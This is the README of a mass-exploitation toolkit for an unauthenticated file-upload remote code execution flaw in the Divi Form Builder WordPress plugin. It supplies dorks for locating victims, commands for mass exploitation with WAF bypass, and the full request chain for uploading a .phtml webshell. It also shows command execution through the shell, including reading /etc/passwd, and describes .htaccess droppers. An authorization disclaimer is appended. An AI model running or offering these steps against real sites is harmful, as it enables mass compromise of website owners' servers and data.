CVE-2026-5524 — Неаутентифицированный RCE в Divi Form Builder

Массовый эксплойт-тулкит для CVE-2026-5524 — уязвимости неаутентифицированной загрузки произвольных файлов в WordPress-плагине Divi Form Builder <= 5.1.8, приводящей к удалённому выполнению кода.

Содержание

• Описание
• Дорки
• Установка
• Использование
  • Одиночная цель
  • Массовый эксплойт
  • Продвинутый обход
  • Выполнение команд
• Детали уязвимости
• Техники обхода
• Технологический стек
• Структура проекта
• Сценарий атаки
• Отказ от ответственности

Описание

Плагин Divi Form Builder для WordPress содержит уязвимость неаутентифицированной загрузки произвольных файлов. Обработчик do_image_upload() передаёт контролируемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указав значение вроде phtml, атакующий может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с расширением, исполняемым PHP (.phtml, .phar, .php5, .php7 и аналогичные).

После того как файл оказывается в /wp-content/uploads/de_fb_uploads/, Apache исполняет его как PHP, предоставляя атакующему удалённое выполнение кода от имени пользователя веб-сервера.

Проблема исправлена в Divi Form Builder 5.1.9.

Дорки

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Установка

Требования: Python 3.8 или новее на Linux, macOS или WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Использование

Одиночная цель

python3 CVE-2026-5524.py -u https://target.com

Массовый эксплойт

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Продвинутый обход

Для целей за WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Выполнение команд

После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивную оболочку.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Флаги

Детали уязвимости

Уязвимый код

Уязвимый обработчик строит регулярное выражение из пользовательского ввода без санитизации.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Отправив acceptFileTypes=phtml, получаем регулярное выражение /\.(phtml)$/i, которое соответствует именам файлов, оканчивающимся на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Затем Apache исполняет загруженный файл как PHP, что приводит к удалённому выполнению кода.

Подтверждённая цепочка атаки

1. Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т. д.). Добавить параметр ?nocache=<random>, чтобы обойти Varnish, WP Rocket и другие кэши страниц, которые иначе отдали бы устаревший nonce.

2. Извлечь значение fb_nonce из локализованного JavaScript-объекта:

   root@kitploit:~

   de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
   

3. Отправить POST-запрос multipart-формы на /wp-admin/admin-ajax.php с:

   root@kitploit:~

   action=de_fb_image_upload
   fb_nonce=<nonce>
   acceptFileTypes=phtml
   [email protected]
   

4. Прочитать URL файла из JSON-ответа:

   root@kitploit:~

   {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
   

5. Запросить шелл с командой в base64:

   root@kitploit:~

   curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
   

Техники обхода

Скрипт пробует каждую технику в порядке приоритета и, когда установлен --aggressive, пытается применить каждую, даже если первая загрузка сообщила об успехе.

Технологический стек

Скрипт эксплойта

Пользовательский шелл (bypass.phtml)

Структура проекта

cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

Сценарий атаки

+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

Отказ от ответственности

Этот инструмент предоставлен в образовательных целях и для использования в рамках авторизованных тестирований на проникновение. Примеры допустимого использования включают:

• Программы bug bounty, которые явно разрешают тестирование цели
• Соревнования Capture the Flag и специальные лабораторные среды
• Внутренние оценки безопасности с письменного разрешения владельца актива
• Академические исследования безопасности, проводимые в контролируемой среде

Неавторизованное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, незаконно практически в любой юрисдикции и строго запрещено. Автор не одобряет и не несёт ответственности за неправомерное использование этого кода.

J'ai la permission et je suis autorisé à effectuer ce pentest. (У меня есть разрешение, и я уполномочен выполнять этот пентест.)

К вероятно применимым законам относятся индонезийский UU ITE, Закон США о компьютерном мошенничестве и злоупотреблениях, Конвенция Европейского союза о киберпреступности и аналогичное законодательство в других странах. В случае сомнений сначала получите письменное разрешение.

Лицензия

Только для образовательного использования. Полные условия использования см. в разделе об отказе от ответственности.